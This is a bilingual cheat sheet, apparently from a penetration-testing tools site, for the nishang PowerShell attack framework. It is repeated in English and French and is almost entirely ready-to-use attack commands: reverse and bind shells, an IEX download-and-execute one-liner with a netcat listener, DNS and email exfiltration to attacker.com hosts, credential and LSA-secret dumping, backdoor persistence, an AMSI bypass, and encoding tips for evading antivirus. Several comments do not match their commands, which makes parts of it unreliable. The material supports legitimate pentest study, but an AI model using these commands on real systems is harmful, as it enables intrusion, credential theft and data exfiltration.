← retour aux outils back to tools

# nishang

Framework d'attaque PowerShell et collection de scripts de sécurité offensive pour les tests d'intrusion. Couvre les shells, l'élévation de privilèges, la persistance, l'exfiltration, et plus. PowerShell attack framework and collection of offensive security scripts for penetration testing. Covers shells, privilege escalation, persistence, exfiltration, and more.

↗ https://github.com/samratashok/nishang

## Overview

nishang is a collection of PowerShell scripts and payloads for offensive security operations. It covers initial access (phishing), post-exploitation (shells, persistence, exfil), privilege escalation, and active directory attacks. Used directly or as a payload delivery mechanism.

## Shells

    # TCP reverse shell
    Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444

    # TCP bind shell
    Invoke-PowerShellTcp -Bind -Port 4444

    # UDP reverse shell
    Invoke-PowerShellUdp -Reverse -IPAddress 10.10.10.50 -Port 4444

    # ICMP reverse shell (bypasses port filters)
    Invoke-PowerShellIcmp -IPAddress 10.10.10.50

    # HTTP/HTTPS reverse shell
    Invoke-PoshRatHttps -IPAddress 10.10.10.50 -Port 443

## Download and Execute (One-Liner)

    # Classic in-memory load of nishang reverse shell
    powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444"

    # Host on attacker:
    python3 -m http.server 80  # serve Invoke-PowerShellTcp.ps1
    nc -lvnp 4444               # catch the shell

## Exfiltration

    # DNS exfiltration
    Invoke-DNSExfil -DataToExfiltrate "secret_data" -Domain exfil.attacker.com

    # Email exfiltration
    Send-FilesToSmtp -Username attacker -Password pass -SmtpServer smtp.gmail.com -To target@attacker.com -File C:\sensitive.txt

    # Exfil via HTTPS
    Invoke-PowerShellIcmp -ExfiltrateFile C:\Users\admin\Documents\passwords.txt

## Privilege Escalation

    # Check for local privilege escalation opportunities
    Invoke-SessionGopher

    # Dump credentials from memory (wraps Invoke-Mimikatz)
    Invoke-Mimikatz

    # Extract credentials from Windows Credential Manager
    Get-WebCredentials
    Get-PassHints

## Persistence

    # Scheduled task persistence
    Add-ScrnSaveBackdoor

    # Registry run key persistence
    Set-RemoteWMI -UserName backdoor -Password P@ssw0rd -ComputerName localhost

    # WMI subscription persistence
    Set-WMIPermanentSubscription -SubscriptionName "Backdoor"

## Enumeration

    # Port scan from compromised host
    Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort

    # Get information about current user and domain
    Get-Information

    # Gather LSA secrets
    Get-LSASecret

## Bypass Techniques

    # Bypass execution policy
    powershell -ExecutionPolicy Bypass -File script.ps1
    powershell -ep bypass -c "..."

    # Bypass AMSI (Antimalware Scan Interface)
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

    # Encode command
    $cmd = "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444"
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
    powershell -enc $encoded

## Tips

- Host scripts on HTTP server and use `IEX(New-Object Net.WebClient).DownloadString()` for fileless execution
- Combine `Invoke-PowerShellTcp` with PowerShell Empire or Sliver for full C2 capability
- Most AV/EDR will flag nishang scripts — obfuscation or manual porting needed for modern engagements
- `Invoke-Encode` in nishang helps encode scripts for delivery

Key Scripts

    Shells/
      Invoke-PowerShellTcp.ps1    TCP reverse/bind shell
      Invoke-PowerShellUdp.ps1    UDP reverse shell
      Invoke-PowerShellIcmp.ps1   ICMP shell

    Escalation/
      Invoke-PsUACme.ps1          UAC bypass
      Get-LSASecret.ps1           LSA secrets dump

    Execution/
      Invoke-BruteForce.ps1       Password brute force
      Get-PassHints.ps1           Password hints from registry

    Utility/
      Invoke-Encode.ps1           Encode/decode scripts
      Invoke-Decode.ps1           Decode encoded scripts
      Out-DnsTxt.ps1              DNS-based payload delivery

## Vue d’ensemble

nishang est une collection de scripts et payloads PowerShell pour les opérations de sécurité offensive. Elle couvre l’accès initial (phishing), la post-exploitation (shells, persistance, exfiltration), l’élévation de privilèges, et les attaques Active Directory. Utilisée directement ou comme mécanisme de livraison de payload.

## Shells

    # Reverse shell TCP
    Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444

    # Bind shell TCP
    Invoke-PowerShellTcp -Bind -Port 4444

    # Reverse shell UDP
    Invoke-PowerShellUdp -Reverse -IPAddress 10.10.10.50 -Port 4444

    # Reverse shell ICMP (contourne les filtres de port)
    Invoke-PowerShellIcmp -IPAddress 10.10.10.50

    # Reverse shell HTTP/HTTPS
    Invoke-PoshRatHttps -IPAddress 10.10.10.50 -Port 443

## Téléchargement et exécution (one-liner)

    # Chargement en mémoire classique du reverse shell nishang
    powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444"

    # Héberger côté attaquant :
    python3 -m http.server 80  # servir Invoke-PowerShellTcp.ps1
    nc -lvnp 4444               # récupérer le shell

## Exfiltration

    # Exfiltration DNS
    Invoke-DNSExfil -DataToExfiltrate "secret_data" -Domain exfil.attacker.com

    # Exfiltration par email
    Send-FilesToSmtp -Username attacker -Password pass -SmtpServer smtp.gmail.com -To target@attacker.com -File C:\sensitive.txt

    # Exfiltration via HTTPS
    Invoke-PowerShellIcmp -ExfiltrateFile C:\Users\admin\Documents\passwords.txt

## Élévation de privilèges

    # Vérifier les opportunités d'élévation de privilèges locale
    Invoke-SessionGopher

    # Dumper les credentials en mémoire (encapsule Invoke-Mimikatz)
    Invoke-Mimikatz

    # Extraire les credentials du gestionnaire d'identifiants Windows
    Get-WebCredentials
    Get-PassHints

## Persistance

    # Persistance via tâche planifiée
    Add-ScrnSaveBackdoor

    # Persistance via clé de registre run
    Set-RemoteWMI -UserName backdoor -Password P@ssw0rd -ComputerName localhost

    # Persistance via abonnement WMI
    Set-WMIPermanentSubscription -SubscriptionName "Backdoor"

## Énumération

    # Scan de ports depuis l'hôte compromis
    Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort

    # Obtenir des informations sur l'utilisateur et le domaine courants
    Get-Information

    # Récupérer les secrets LSA
    Get-LSASecret

## Techniques de contournement

    # Contourner la politique d'exécution
    powershell -ExecutionPolicy Bypass -File script.ps1
    powershell -ep bypass -c "..."

    # Contourner AMSI (Antimalware Scan Interface)
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

    # Encoder une commande
    $cmd = "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.50 -Port 4444"
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
    powershell -enc $encoded

## Conseils

- Héberger les scripts sur un serveur HTTP et utiliser `IEX(New-Object Net.WebClient).DownloadString()` pour une exécution sans fichier (fileless)
- Combiner `Invoke-PowerShellTcp` avec PowerShell Empire ou Sliver pour un C2 complet
- La plupart des AV/EDR détectent les scripts nishang : obfuscation ou portage manuel nécessaire pour les engagements modernes
- `Invoke-Encode` dans nishang aide à encoder les scripts pour la livraison

Scripts clés

    Shells/
      Invoke-PowerShellTcp.ps1    TCP reverse/bind shell
      Invoke-PowerShellUdp.ps1    UDP reverse shell
      Invoke-PowerShellIcmp.ps1   ICMP shell

    Escalation/
      Invoke-PsUACme.ps1          UAC bypass
      Get-LSASecret.ps1           LSA secrets dump

    Execution/
      Invoke-BruteForce.ps1       Password brute force
      Get-PassHints.ps1           Password hints from registry

    Utility/
      Invoke-Encode.ps1           Encode/decode scripts
      Invoke-Decode.ps1           Decode encoded scripts
      Out-DnsTxt.ps1              DNS-based payload delivery